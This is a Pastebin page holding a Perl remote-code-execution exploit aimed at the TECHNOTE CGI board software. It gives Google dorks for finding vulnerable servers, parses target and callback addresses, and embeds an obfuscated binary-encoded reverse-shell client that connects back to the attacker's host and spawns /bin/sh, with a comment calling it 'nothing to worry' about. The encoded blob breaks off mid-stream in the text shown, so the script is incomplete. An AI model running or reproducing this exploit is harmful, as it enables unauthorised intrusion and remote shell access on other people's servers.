Advertisement
0xspade

CGI RCE Exploit 2017

May 4th, 2017
551
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 55.59 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  *** Remote Shell Upload Vulnerability ***
  4. # Dork 1: inurl:/cgi-bin/technote
  5. # Dork 2: inurl: .cgi?board=FREE_BOARD
  6. # Dork 3: intext: TECHNOTE-TOP
  7.  
  8. use IO::Socket;
  9. use strict;
  10.  
  11. my ($HOST, $CBHOST) = @ARGV;
  12. my $PORT = 80;
  13. my $CBPORT = int(rand(64511))+1024;
  14. my $PWD = '`pwd`';
  15. $| = 1;
  16.  
  17. unless ($HOST) {
  18.     print         "\n       ¦¦¦¦¦¦¦¦ \n";
  19.         print        "      ¦¦¦¦¦¦¦¦¦¦ \n";
  20.          print       "      ¦¦¦¦¦¦¦¦¦¦¦ \n";
  21.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  22.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  23.           print      "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  24.          print       "      ¦¦¦¦¦¦¦¦¦¦¦ \n";
  25.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  26.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  27.           print      "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  28.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  29.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  30.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  31.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  32.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  33.          print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
  34.          print       "      ¦¦¦¦¦¦¦¦¦¦ \n";
  35.          print       "      ¦¦¦¦¦¦¦¦¦ \n";
  36. sleep(1);
  37.    print " \n\n      *** Exploit Remote Upload Shell ***\n\n\n";
  38.    print "         Exploit Remote Upload Shell\n\n";
  39.    print "    USAGE: $0 <host[:port]>[/(main.cgi path)] [your_ip[:port]]\n\n";
  40.    print "        $0 <main.cgi URL> [your_ip[:port]]\n";
  41.    print "        $0 <whole technote filename url> [your_ip[:port]]\n\n";
  42.    print "    EXAMPLE: $0 localhost\n\n";
  43.    print "        $0 http://localhost/technote/main.cgi 127.0.0.1:4545\n";
  44.    print "        $0 'localhost:8080/cgi-bin/technote/main.cgi/file.txt?down_num=953713356&board=my_board&command=down_load&filename=file.txt'\n\n";
  45.    exit(1);
  46. }
  47.  
  48. #my $URI = undef;
  49. #map { $URI = 1 if (-r "$_/URI/Escape.pm") } @INC;
  50. #eval 'use URI::Escape' if ($URI);
  51.  
  52. $HOST =~ s/^http:\/\///;
  53. my $DOC = '/technote/main.cgi';
  54. my $bind;
  55. if ($HOST =~ /^(.+?)(\/.+)$/) {
  56.   $DOC = $2;
  57.   $HOST = $1;
  58. }
  59.  
  60. if ($HOST =~ /^(.+?):(\d+)$/) {
  61.   $HOST = $1;
  62.   $PORT = $2;
  63. }
  64. if ($CBHOST =~ /^(.+?):(\d+)$/) {
  65.   $CBHOST = $1;
  66.   $CBPORT = $2;
  67. }
  68.  
  69.  
  70. my $NUM = int(rand(999999));
  71.  
  72. if (try_vul()) {
  73.     print "EXPLOITADO SUCCESSFULLY!\nAGUARDE!\n";
  74. } else {
  75.     print "Sorry... Error No Exploit\n\n";
  76.     exit;
  77. }
  78.  
  79. # cbshell client encoded.. nothing to worry heheh
  80. my $cbshell = '$C=pack("B*","0111011001100001011010000010100000100010010101010111001101100001011001110110010100111010001000000010010000110000001000000011110001101001011100000011111000100000001111000111000001101111011100100111010000111110001000100010100100100000011101010110111001101100011001010111001101110011001000000010010001000001010100100100011101010110010110110011000101011101001110110110110101111001001001000100100101010000001111010010010001000001010100100100011101010110010110110011000001011101001110110110110101111001001001000101000001001111010100100101010000111101001001000100000101010010010001110101011001011011001100010101110100111011011011010111100100100100010100110100100001000101010011000100110000111101001001110110001001100001011100110110100000100111001110110110110101111001001001000100100001001111010011010100010100111101001001110010111101110100011011010111000000100111001110110110110101111001001001000101000001010010010011110100001100111101001001110110100101101110011001010111010001100100001001110011101101101101011110010010100001000000010100110101010001010100010110010010100100111101001010000010011101110011011000010110111001100101001001110010110000100000001001110110010001100101011000110010011100101001001110110010010001000101010011100101011001111011001001110100100001001111010011010100010100100111011111010011110100100100010010000100111101001101010001010011101100100100010001010100111001010110011110110010011101010000010100110011000100100111011111010011110100100111010110110101110001011100011101010100000001011100010111000110100000100000010111000101110001010111010111010011101000100000001001110011101100100100010001010100111001010110011110110010011101001101010000010100100101001100001001110111110100111101001001110010111101110110011000010111001000101111011011010110000101101001011011000010111101110010011011110110111101110100001001110011101100100100010001010100111001010110011110110010011101010000010000010101010001001000001001110111110100100000001011100011110100100000001001110011101000101111011000100110100101101110001110100010111101110011011000100110100101101110001110100010111101110101011100110111001000101111011000100110100101101110001110100010111101110101011100110111001000101111011100110110001001101001011011100011101000101111011101010111001101110010001011110110110001101111011000110110000101101100001011110110001001101001011011100011101000101111011101010111001101110010001011110110110001101111011000110110000101101100001011110111001101100010011010010110111000100111001110110010010001000101010011100101011001111011001001110100100001001001010100110101010001000110010010010100110001000101001001110111110100111101001001110010111101100100011001010111011000101111011011100111010101101100011011000010011100111011001001000100010101001110010101100111101100100111010101010101001101000101010100100010011101111101001111010010011101110010011011110110111101110100001001110011101100100100010001010100111001010110011110110010011101001100010011110100011101001110010000010100110101000101001001110111110100111101001001110111001001101111011011110111010000100111001110110010010001000101010011100101011001111011001001110100110001010011010111110100111101010000010101000100100101001111010011100101001100100111011111010011110100100111001000000010110100101101011000110110111101101100011011110111001000111101011000010111010101110100011011110010000000101101010001100010000000101101011000100010000000101101010101000010000000110000001001110011101100100100010001010100111001010110011110110010011101001100010100110101111101000011010011110100110001001111010100100101001100100111011111010011110100100111011011100110111100111101001100000011000000111010011001100110100100111101001100000011000000111010011001000110100100111101001100000011000100111011001100110011010000111010011011000110111000111101001100000011000100111011001100110011011000111010011100000110100100111101001101000011000000111011001100110011001100111010011100110110111100111101001100000011000100111011001100110011010100111010011000100110010000111101001101000011000000111011001100110011001100111011001100000011000100111010011000110110010000111101001101000011000000111011001100110011001100111011001100000011000100111010011011110111001000111101001101000011000000111011001100110011000100111011001100000011000100111010011001010111100000111101001100000011000100111011001100110011001000111010001010100010111001100011011011010110010000111101001100000011000100111011001100110011001000111010001010100010111001100101011110000110010100111101001100000011000100111011001100110011001000111010001010100010111001100011011011110110110100111101001100000011000100111011001100110011001000111010001010100010111001100010011101000110110100111101001100000011000100111011001100110011001000111010001010100010111001100010011000010111010000111101001100000011000100111011001100110011001000111010001010100010111001110100011000010111001000111101001100000011000100111011001100110011000100111010001010100010111001110100011001110111101000111101001100000011000100111011001100110011000100111010001010100010111001100001011100100110101000111101001100000011000100111011001100110011000100111010001010100010111001110100011000010111101000111101001100000011000100111011001100110011000100111010001010100010111001101100011110100110100000111101001100000011000100111011001100110011000100111010001010100010111001111010011010010111000000111101001100000011000100111011001100110011000100111010001010100010111001100010011110100011001000111101001100000011000100111011001100110011000100111010001010100010111001110010011100000110110100111101001100000011000100111011001100110011000100111010001010100010111001100100011001010110001000111101001100000011000100111011001100110011000100111010001010100010111001111010001111010011000000110001001110110011001100110001001110100010101000101110010110100011110100110000001100010011101100110011001100010011101000101010001011100110011101111010001111010011000000110001001110110011001100110001001110100010101000101110011010100111000001100111001111010011000000110001001110110011001100110101001110100010101000101110011001110110100101100110001111010011000000110001001110110011001100110101001110100010101000101110011000100110110101110000001111010011000000110001001110110011001100110101001110100010101000101110011100000111000001101101001111010011000000110001001110110011001100110101001110100010101000101110011101000110011101100001001111010011000000110001001110110011001100110101001110100010101000101110011110000110001001101101001111010011000000110001001110110011001100110101001110100010101000101110011110000111000001101101001111010011000000110001001110110011001100110101001110100010101000101110011101000110100101100110001111010011000000110001001110110011001100110101001110100010101000101110011011010111000001100111001111010011000000110001001110110011001100110111001110100010101000101110011000010111011001101001001111010011000000110001001110110011001100110111001110100010101000101110011011010110111101110110001111010011000000110001001110110011001100110111001110100010011100111011001001000100010101001110010101100111101100100111010100110100100001000101010011000100110000100111011111010011110100100100010100110100100001000101010011000100110000111011001001000100010101001110010101100111101100100111010101000100010101010010010011010010011101111101001111010010011101111000011101000110010101110010011011010010011100111011001001000011000000111101001001000101000001010010010011110100001100100000001011100010000000100010010111000011000000110000001100000010001000111011011101010111001101100101001000000100100101001111001110100011101001010011011011110110001101101011011001010111010000111011011101010111001101100101001000000100100101001111001110100011101001010011011001010110110001100101011000110111010000111011011101010111001101100101001000000101000001001111010100110100100101011000001110110010010001010011010010010100011101111011001001110100100001010101010100000010011101111101001111010010011101001001010001110100111001001111010100100100010100100111001110110010010001010011010010010100011101111011001001110101000001010011001001110111110100111101001001110100100101000111010011100100111101010010010001010010011100111011001001000101001101001001010001110111101100100111010101000100010101010010010011010010011101111101001111010010011101001001010001110100111001001111010100100100010100100111001110110010010001010011010010010100011101111011001001110100001101001000010011000100010000100111011111010011110101110011011101010110001000100000011110110111011101100001011010010111010000111011011111010011101101101101011110010010010101001001010011110100001101010100010011000100010001000101010001100011101100100100010010010100111101000011010101000100110001000100010001010100011001111011001001110101010001001001010011110100001101010011010101110100100101001110010100110101101000100111011111010011110100110010001100010011010100110010001101000011101100100100010010010100111101000011010101000100110001000100010001010100011001111011001001110101010001001001010011110100001101001110010011110101010001010100010110010010011101111101001111010011001000110001001101010011001100111000001110110010010001001001010011110100001101010100010011000100010001000101010001100111101100100111010101000100100101001111010000110101001101000011010101000101010001011001001001110111110100111101001100100011000100110101001100010011100000111011011100110110000101100110011001010110110001101111011000010110010000101000001001110111001101111001011100110010111101101001011011110110001101110100011011000010111001110000011010000010011100101100001000000011000100101001001110110111001101100001011001100110010101101100011011110110000101100100001010000010011101100001011100110110110100101111011010010110111101100011011101000110110001110011001011100111000001101000001001110010110000100000001100010010100100111011011011010111100100101000010000000100100101001111010001100100100101001100010001010101001100101001001111010010011100101111011101010111001101110010001011110110100101101110011000110110110001110101011001000110010100101111011000010111001101101101001011110110100101101111011000110111010001101100011100110010111001101000001001110011101101100110011011110111001001100101011000010110001101101000001000000110110101111001001000000010010001001001010011110100001101010100010011000010000000101000011010110110010101111001011100110010000000100101010010010100111101000011010101000100110001000100010001010100011000101001011110110110111001100101011110000111010000100000011010010110011000100000011001000110010101100110011010010110111001100101011001000010000000100110011110110010010001001001010011110100001101010100010011000011101101111101001110110110011001101111011100100110010101100001011000110110100000100000011011010111100100100000001001000110100101101111011001100110100101101100011001010010000000101000010000000100100101001111010001100100100101001100010001010101001100101001011110110110100101100110001010000110111101110000011001010110111000100000010010010100111101000100001011000010000000100010001111000010000000100100011010010110111101100110011010010110110001100101001000100010100101111011011101110110100001101001011011000110010100101000011001000110010101100110011010010110111001100101011001000010100000100100010111110010000000111101001000000011110001001001010011110100010000111110001010010010100101111011011010010110011000101000001011110101111001011100001000110110010001100101011001100110100101101110011001010101110001110011001010110010010001001001010011110100001101010100010011000101110001110011001010110010100000101110001010100011111100101001010111000110111000100100001011110010100101111011011001010111011001100001011011000010000000100010011100110111010101100010001000000010010001001001010011110100001101010100010011000010000000101000001010010010000001111011001001000011000100111011011111010010001000111011011011000110000101110011011101000011101101111101011111010110001101101100011011110111001101100101001000000100100101001111010001000011101101111101011111010110010101110110011000010110110000100000001000100111001101110101011000100010000000100100010010010100111101000011010101000100110000100000001010000010100100100000011110110010000000100100010010010100111101000011010101000100110001000100010001010100011001111011001001000100100101001111010000110101010001001100011111010011101101111101001000100010000001110101011011100110110001100101011100110111001100100000011001000110010101100110011010010110111001100101011001000010000000100110011110110010010001001001010011110100001101010100010011000011101101111101001110110111110101100011011010000110010001101001011100100010000000100111001011110010011100111011011011010111100100100101010000110100110001001001010001010100111001010100001110110110110101111001001001000111001101101111011000110110101100111101001001110100100101001111001110100011101001010011011011110110001101101011011001010111010000111010001110100100100101001110010001010101010000100111001011010011111001101110011001010111011100101000001001110101000001100101011001010111001001000001011001000110010001110010001001110010110000100100010010010101000000101100001001110101000001100101011001010111001001010000011011110111001001110100001001110010110000100100010100000100111101010010010101000010110000100111010100000111001001101111011101000110111100100111001011000010011101110100011000110111000000100111001010010010000001111100011111000010000001110110011000010110100000101000001000100110001101101111011101010110110001100100001000000110111001101111011101000010000001100011011011110110111001101110011001010110001101110100001000000110111101101110001000000010010001111011010010010101000001111101001110100010010001010000010011110101001001010100001000000011101000100000001001000010000100100010001010010011101101101101011110010010010001110000011010010110010000111101011001100110111101110010011010110011101101110110011000010110100000101000001001110100010101010010010100100100111101010010001110100010000001001001001000000110001101101111011101010110110001100100001000000110111001101111011101000010000001100110011011110111001001101011001010000010100100100000011101000110100001100101001000000111000001110010011011110110001101100101011100110111001100101110001001110010100100100000011101010110111001101100011001010111001101110011001000000110010001100101011001100110100101101110011001010110010000100000001001000111000001101001011001000011101101100101011110000110100101110100001000000110100101100110001000000010010001110000011010010110010000111011011011010111100100100100011100110110010101101100010111110111001101100101011100100111011000111101001001110100100101001111001110100011101001010011011001010110110001100101011000110111010000100111001011010011111001101110011001010111011100101000001001000111001101101111011000110110101100101001001110110110110101111001001001000111001101100101011011000101111101110011011010000110010101101100011011000011110100100111010010010100111100111010001110100101001101100101011011000110010101100011011101000010011100101101001111100110111001100101011101110011101100100100011100110110111101100011011010110010110100111110011000010111010101110100011011110110011001101100011101010111001101101000001010000011000100101001001110110010010001000011010011000100100101000101010011100101010001111011001001000111001101101111011000110110101101111101011110110010011101110011011011110110001101101011001001110111110100111101001001000111001101101111011000110110101100111011011101110111001001101001011101000110010101011111011000110110110001101001011001010110111001110100001010000010010001110011011011110110001101101011001011000010000000100010010111000111001001011100011011100101110001110010010111000111001001011100011011100101110001110010001000100010100100111011011011100110010101110111010111110111001101101000011001010110110001101100001010000010010001110011011011110110001101101011001010010011101101110111011010000110100101101100011001010010100000110001001010010111101101100101011110000110100101110100001010000010100100100000011010010110011000100000011100110110001101100001011011000110000101110010001000000110101101100101011110010111001100100000001001010100001101001100010010010100010101001110010101000010000000111101001111010010000000110000001110110111001001100101011000010110010001011111011000110110110001101001011001010110111001110100011100110010100000101001001110110111001001100101011000010110010001011111011100110110100001100101011011000110110001110011001010000010100100111011011111010111001101110101011000100010000001110010011001010110000101100100010111110110001101101100011010010110010101101110011101000111001100100000011110110110110101100001011100000111101101110010011001010110000101100100010111110110001101101100011010010110010101101110011101000010100000100100010111110010100100111011011111010010010001110011011001010110110001011111011100110110010101110010011101100010110100111110011000110110000101101110010111110111001001100101011000010110010000101000001100000010111000110000001100010010100100111011011111010111001101110101011000100010000001110010011001010110000101100100010111110110001101101100011010010110010101101110011101000010000001111011011011010111100100100100011001100110100000111101011100110110100001101001011001100111010000100000010000000101111100111011011011010111100100100100011011010111001101100111001110110110110101111001001001000110111001110010011001010110000101100100001111010111001101111001011100110111001001100101011000010110010000101000001001000110011001101000001011000010000000100100011011010111001101100111001011000010000000110001001100000011001000110100001010010011101101101001011001100010100000100100011011100111001001100101011000010110010000100000001111010011110100100000001100000010100101111011011000110110110001101111011100110110010101011111011000110110110001101001011001010110111001110100001010000010010001100110011010000010100100111011011111010110010101101100011100110110010101111011011101110111001001101001011101000110010101011111011100110110100001100101011011000110110000101000001001000110011001101000001011000010000000100100011011010111001101100111001010010011101101111101011111010111001101110101011000100010000001110010011001010110000101100100010111110111001101101000011001010110110001101100011100110010000001111011011011010110000101110000011110110111001001100101011000010110010001011111011100110110100001100101011011000110110000101000001001000101111100101001001110110111110100100100011100110110010101101100010111110111001101101000011001010110110001101100001011010011111001100011011000010110111001011111011100100110010101100001011001000010100000110000001011100011000000110001001010010011101101111101011100110111010101100010001000000111001001100101011000010110010001011111011100110110100001100101011011000110110000100000011110110110110101111001001001000111001101101000011001010110110001101100001111010111001101101000011010010110011001110100001000000100000001011111001110110110110101111001001001000110001101101100011010010011101101101101011000010111000001111011001001000110001101101100011010010010000000111101001000000010010001000011010011000100100101000101010011100101010001111011001001000101111101111101011110110010011101110011011011110110001101101011001001110111110100100000011010010110011000100000001001000100001101001100010010010100010101001110010101000111101100100100010111110111110101111011001001110111001101101000011001010110110001101100001001110111110100100000011001010111000100100000001001000111001101101000011001010110110001101100001110110111110100100000011010110110010101111001011100110010000000100101010000110100110001001001010001010100111001010100001110110110110101111001001001000110110101110011011001110011101101101101011110010010010001101110011100100110010101100001011001000011110101110011011110010111001101110010011001010110000101100100001010000010010001110011011010000110010101101100011011000010110000100000001001000110110101110011011001110010110000100000001100010011000000110010001101000010100100111011011010010110011000101000001001000110111001110010011001010110000101100100001000000011110100111101001000000011000000101001011110110110011001101001011011100110100101110011011010000101111101100011011011000110100101100101011011100111010000101000001001000110001101101100011010010010110000100000001000100101010001100101011100100110110101101001011011100110000101101100001000000110001101101100011011110111001101100101011001000010111001011100011100100101110001101110010111000111001000100010001010010011101101111101011001010110110001110011011001010111101101110111011100100110100101110100011001010101111101100011011011000110100101100101011011100111010000101000001001000110001101101100011010010010110000100000001001000110110101110011011001110010100100111011011111010111110101110011011101010110001000100000011011100110010101110111010111110111001101101000011001010110110001101100001000000111101101101101011110010010010001100011011011000110100100111101011100110110100001101001011001100111010000100000010000000101111100111011010100000100111101010011010010010101100000111010001110100111001101100101011101000111000001100111011010010110010000101000001100000010110000100000001100000010100100111011011011010111100100101000001001000111010001110100011110010010110000100000001001000111000001110100011110010010100100111011011101010110111001101100011001010111001101110011001010000010100000100100011101000111010001111001001011000010000000100100011100000111010001111001001010010010000000111101001000000110111101110000011001010110111001011111011101000111010001111001001010000010010001100011011011000110100100101001001010010111101101100110011010010110111001101001011100110110100001011111011000110110110001101001011001010110111001110100001010000010010001100011011011000110100100101100001000000010001001000101010100100101001001001111010100100011101000100000010011100110111100100000011011010110111101110010011001010010000001110000011101000111100100100111011100110010000001100001011101100110000101101100011010010110000101100010011011000110010101011100011011100010001000101001001110110111001001100101011101000111010101110010011011100010000001110101011011100110010001100101011001100011101101111101011011010111100100100100011100000110100101100100001111010110011001101111011100100110101100111011011010010110011000101000011011100110111101110100001000000110010001100101011001100110100101101110011001010110010000100000001001000111000001101001011001000010100101111011011001100110100101101110011010010111001101101000010111110110001101101100011010010110010101101110011101000010100000100100011000110110110001101001001011000010000000100010010001010101001001010010010011110101001000111010001000000110011001101111011100100110101100101000001010010101110001101110001000100010100100111011011100100110010101110100011101010111001001101110001000000111010101101110011001000110010101100110001110110111110101110101011011100110110001100101011100110111001100101000001001000111000001101001011001000010100101111011011000110110110001101111011100110110010100100000001001000111000001110100011110010011101101101100011011110110001101100001011011000010101001000100010001010101011001010100010101000101100100111011011010010110011000101000011011110111000001100101011011100010000001000100010001010101011001010100010101000101100100101100001000000010011100101111011001000110010101110110001011110111010001110100011110010010011100101001011110110110100101101111011000110111010001101100001000000100010001000101010101100101010001010100010110010010110000100000001001100101010001001001010011110100001101001110010011110101010001010100010110010010110000100000001100000011101101100011011011000110111101110011011001010010000001000100010001010101011001010100010101000101100100111011011111010101000001001111010100110100100101011000001110100011101001110011011001010111010001110011011010010110010000101000001010010011101101101001011011110110001101110100011011000010000000100100011101000111010001111001001011000010000000100110010101000100100101001111010000110101001101000011010101000101010001011001001011000010000000110000001110110111011001100001011010000010100000100010010010010010000001100011011011110111010101101100011001000010000001101110011011110111010000100000011100100110010101101111011100000110010101101110001000000101001101010100010001000100100101001110001110100010000000100100001000010010001000101001001000000111010101101110011011000110010101110011011100110010000001101111011100000110010101101110001000000101001101010100010001000100100101001110001011000010000000100111001111000010011000100111001000000010111000100000011001100110100101101100011001010110111001101111001010000010010001110100011101000111100100101001001110110111011001100001011010000010100000100010010010010010000001100011011011110111010101101100011001000010000001101110011011110111010000100000011100100110010101101111011100000110010101101110001000000101001101010100010001000100111101010101010101000011101000100000001001000010000100100010001010010010000001110101011011100110110001100101011100110111001100100000011011110111000001100101011011100010000001010011010101000100010001001111010101010101010000101100001000000010011100111110001001100010011100100000001011100010000001100110011010010110110001100101011011100110111100101000001001000111010001110100011110010010100100111011011101100110000101101000001010000010001001001001001000000110001101101111011101010110110001100100001000000110111001101111011101000010000001110010011001010110111101110000011001010110111000100000010100110101010001000100010001010101001001010010001110100010000000100100001000010010001000101001001000000111010101101110011011000110010101110011011100110010000001101111011100000110010101101110001000000101001101010100010001000100010101010010010100100010110000100000001001110011111000100110001001110010000000101110001000000110011001101001011011000110010101101110011011110010100000100100011101000111010001111001001010010011101101100011011011000110111101110011011001010010000000100100011101000111010001111001001110110111001101101100011001010110010101110000001000000011000100111011011001100110111101110010011001010110000101100011011010000010000001101101011110010010000000100100011100110111010001110100011110010010000000101000001001110010111101100010011010010110111000101111011100110111010001110100011110010010011100101100001000000010011100101111011101010111001101110010001011110110001001101001011011100010111101110011011101000111010001111001001001110010100101111011011011100110010101111000011101000010000001110101011011100110110001100101011100110111001100100000001011010111100000100000001001000111001101110100011101000111100100111011011011010110000101110000011110110111001101111001011100110111010001100101011011010010000000100010001001000111001101110100011101000111100100100010001011000010000000100100010111110011101101111101001000000100000001010011010101000101010001011001001110110111110101100011011010000110010001101001011100100010000000100010001001000100100001001111010011010100010100100010001110110111101101100101011110000110010101100011001000000010001000100100010100110100100001000101010011000100110000100010001110110111110101110011011110010111001101110111011100100110100101110100011001010010000001010011010101000100010001001111010101010101010000101100001000000111000101110001010110110101110001101110010111000110111001000101010100100101001001001111010100100011101000100000011001010111100001100101011000110010100000100100010100110100100001000101010011000100110000101001010111000110111001011100011011100100100100100000011000110110111101110101011011000110010000100000011011100110111101110100001000000110010101111000011001010110001101110101011101000110010100100000011101000110100001100101001000000111001101101000011001010110110001101100001000000010100000100100010100110100100001000101010011000100110000101001010111000110111001001000011011110111011101100101011101100110010101110010001000000111100101101111011101010010000001100001011100100110010100100000011011000111010101100011011010110111100100100000001110100101000001011100011011100101100101101111011101010010000001100011011000010110111000100000011101010111001101100101001000000111010001101000011001010010000000100010010010010010011101101101001000000100011001010101010000110100101101000101010001000010000100100010001000000110110101101111011001000110010100100000011000010110111001100100001000000110011001101001011110000010000001110101011100000010000001110100011010000110100101110011001000000111010001101000011010010110111001100111001011100010111000101110010111000110111001010100011010010111000000111010001000000100011001101001011011100110010000100000011100110110111101101101011001010010000001110011011010000110010101101100011011000010000001100001011011100110010000100000011001010111100001100101011000110111010101110100011001010010000001101001011101000010000000111011001010010101110001101110010111000110111001011101001110110111001101111001011100110111011101110010011010010111010001100101001000000101001101010100010001000100111101010101010101000010110000100000001000100101110001101110010111000110111001001111010010110010000100100000010010010010011101101101001000000100011001110101011000110110101101100101011001000010000001101101011011110110010001100101001011100101110001101110001000100011101101110011011110010111001101110111011100100110100101110100011001010010000001010011010101000100010001001111010101010101010000101100001000000010001001010100011110010111000001100101001000000101111001000011001000000111010001101111001000000110010101111000011010010111010001011100011011100101110001101110010010010010011101101101001000000100011001110101010000110100101101100101010001000010000100100011001000000010001000111011011101110110100001101001011011000110010100101000011001000110010101100110011010010110111001100101011001000010100001101101011110010010000000100100011011010111001101100111001000000011110100100000001111000101001101010100010001000100100101001110001111100010100100101001011110110010010001101101011100110110011100111101011111100010000001110011001011110101110001101110001001000010111100101111001110110010010001101101011100110110011100111101011111100010000001110011001011110101110001110010001001000010111100101111001110110110100101100110001010000010010001101101011100110110011100100000001111010111111000100000001011110101111001011100011100110010101001100011011001000101110001110011001010110010100001011100010100110010101100101001001011110010100101111011011011010111100100100100011011100110111101110100011001100011110100100010011001000110100101110010011001010110001101110100011011110111001001111001001000000010010000110001001000000110111001101111011101000010000001100110011011110111010101101110011001000010000101011100011011100010001000111011011100110111100101110011011101110111001001101001011101000110010100100000010100110101010001000100010001010101001001010010001011000010000000100100011011100110111101110100011001100010110000100000011011000110010101101110011001110111010001101000001000000010010001101110011011110111010001100110001000000111010101101110011011000110010101110011011100110010000001100011011010000110010001101001011100100010000000100100001100010011101101111101011001010110110001110011011001010111101101110011011110010111001101110100011001010110110100100000001000100010010001101101011100110110011100100000001100100011111000100110001100010010001000111011011111010111001101111001011100110111011101110010011010010111010001100101001000000101001101010100010001000100111101010101010101000010110000100000011100010101101101001001001001110110110100100000010001100111010101000011010010110110010101000100001000010010001100100000010111010011101101111101011001010111100001101001011101000011101101111101011000110110110001101111011100110110010100100000001001000111010001110100011110010011101101110011011001010110110001100101011000110111010000100000001001000111000001110100011110010011101100100100011111000011110100110001001110110111001101100101011011000110010101100011011101000010000001010011010101000100010001001111010101010101010000111011001001100111001101100101011101000101111101110010011000010111011100101000001001000111000001110100011110010010100100111011001001000100001101001100010010010100010101001110010101000111101100100100011000110110110001101001011111010111101100100111011100110110100001100101011011000110110000100111011111010011110100100100011100000111010001111001001110110010010001110011011001010110110001011111011100110110100001100101011011000110110000101101001111100110000101100100011001000010100000100100011100000111010001111001001010010011101101110010011001010111010001110101011100100110111000100000001100010011101101111101011100110111010101100010001000000111001101100101011101000101111101110010011000010111011100100000001010000010010000101001011110110110110101111001001001000111001101100101011011000110011000111101011100110110100001101001011001100111010000100000010000000101111100111011011100100110010101110100011101010111001001101110001000000011000100100000011010010110011000100000011011100110111101110100001000000101000001001111010100110100100101011000001110100011101001101001011100110110000101110100011101000111100100101000001001000111001101100101011011000110011000101001001110110110110101111001001001000111010001110100011110010110111001101111001111010110011001101001011011000110010101101110011011110010000000100100011100110110010101101100011001100011101101101101011110010010010001110100011001010111001001101101011010010110111101110011001111010010011101010000010011110101001101001001010110000011101000111010010101000110010101110010011011010110100101101111011100110010011100101101001111100110111001100101011101110011101101110101011011100110110001100101011100110111001100101000001001000111010001100101011100100110110101101001011011110111001100101001011110110111001001100101011101000111010101110010011011100010000001110101011011100110010001100101011001100011101101111101011101010110111001101100011001010111001101110011001010000010010001110100011001010111001001101101011010010110111101110011001011010011111001100111011001010111010001100001011101000111010001110010001010000010010001110100011101000111100101101110011011110010100100101001011110110111001001100101011101000111010101110010011011100010000001110101011011100110010001100101011001100011101101111101001001000111010001100101011100100110110101101001011011110111001100101101001111100111001101100101011101000110100101100110011011000110000101100111001010000011000000101001001110110010010001110100011001010111001001101101011010010110111101110011001011010011111001110011011001010111010001101111011001100110110001100001011001110010100000110000001010010011101100100100011101000110010101110010011011010110100101101111011100110010110100111110011100110110010101110100011011000110011001101100011000010110011100101000001100000010100100111011001001000111010001100101011100100110110101101001011011110111001100101101001111100111001101100101011101000110001101100011001010000010011001010000010011110101001101001001010110000011101000111010010101100100110101001001010011100010110000100000001100010010100100111011001001000111010001100101011100100110110101101001011011110111001100101101001111100111001101100101011101000110001101100011001010000010011001010000010011110101001101001001010110000011101000111010010101100101010001001001010011010100010100101100001000000011000000101001001110110111010101101110011011000110010101110011011100110010100000100100011101000110010101110010011011010110100101101111011100110010110100111110011100110110010101110100011000010111010001110100011100100010100000100100011101000111010001111001011011100110111100101100001000000010011001010000010011110101001101001001010110000011101000111010010101000100001101010011010000010100111001001111010101110010100100101001011110110111001001100101011101000111010101110010011011100010000001110101011011100110010001100101011001100011101101111101011100100110010101110100011101010111001001101110001000000011000100111011011111010111001101110101011000100010000001101111011100000110010101101110010111110111010001110100011110010010000001111011011011010111100100100100011000110110110001101001001111010111001101101000011010010110011001110100001000000100000001011111001110110110110101111001001010000010010001010000010101000101100100101100001000000010010001010100010101000101100100101001001111010010100000101010011110110010001001110000011101000111100100101110001001000110001101101100011010010010001000111011011111010010110000100000001010100111101100100010011101000111010001111001001011100010010001100011011011000110100100100010001110110111110100101001001110110110011001101111011100100010100001101101011110010010000000100100011010010010000000111101001000000011000000111011001000000010010001101001001000000011110000100000001100100011010100110110001110110010000000101011001010110010010001101001001010010111101101101101011110010010010001110000011101000111100100111101011001110110010101110100010111110111010001110100011110010010100000100100011010010010110000100000001001110010111101100100011001010111011000101111011100000111010001111001001001110010100100111011011011100110010101111000011101000010000001110101011011100110110001100101011100110111001100100000011011110111000001100101011011100010000000100100010100000101010001011001001011000010000000100010001010110011111000100000001001000111000001110100011110010010001000111011011011010111100100100100011101000111010001111001001111010110011101100101011101000101111101110100011101000111100100101000001001000110100100101100001000000010011100101111011001000110010101110110001011110111010001110100011110010010011100101001001110110111010101101110011011000110010101110011011100110010100001101111011100000110010101101110001000000010010001010100010101000101100100101100001000000010001000101011001111100010000000100100011101000111010001111001001000100010100101111011011000110110110001101111011100110110010100100000001001000101000001010100010110010011101101101110011001010111100001110100001110110111110101110010011001010111010001110101011100100110111000100000001001000101010001010100010110010010110000100000001001000101000001010100010110010011101101111101011100100110010101110100011101010111001001101110001000000010101100101000001010010011101101111101011100110111010101100010001000000110011101100101011101000101111101110100011101000111100100100000011110110110110101111001001010000010010001101110011101010110110100101100001000000010010001100010011000010111001101100101001010010011110101000000010111110011101101101101011110010010100001000000011100110110010101110010011010010110010101110011001010010011110100101000001010000010011101110000001001110010110000100000001001110111000100100111001011000010000000100111011100100010011100101100001000000010011101110011001001110010110000100000001001110111010000100111001011000010000000100111011101010010011100101100001000000010011101110110001001110010110000100000001001110111011100100111001011000010000000100111011110000010011100101100001000000010011101111001001001110010110000100000001001110111101000100111001010010010110000100000001010000010011101100001001001110010110000100000001001110110001000100111001011000010000000100111011000110010011100101100001000000010011101100100001001110010110000100000001001110110010100100111001010010010100100111011011011010111100100101000010000000111001101110101011000100111001100101001001111010010100000101000001001110011000000100111001011000010000000100111001100010010011100101100001000000010011100110010001001110010110000100000001001110011001100100111001011000010000000100111001101000010011100101100001000000010011100110101001001110010110000100000001001110011011000100111001011000010000000100111001101110010011100101100001000000010011100111000001001110010110000100000001001110011100100100111001010010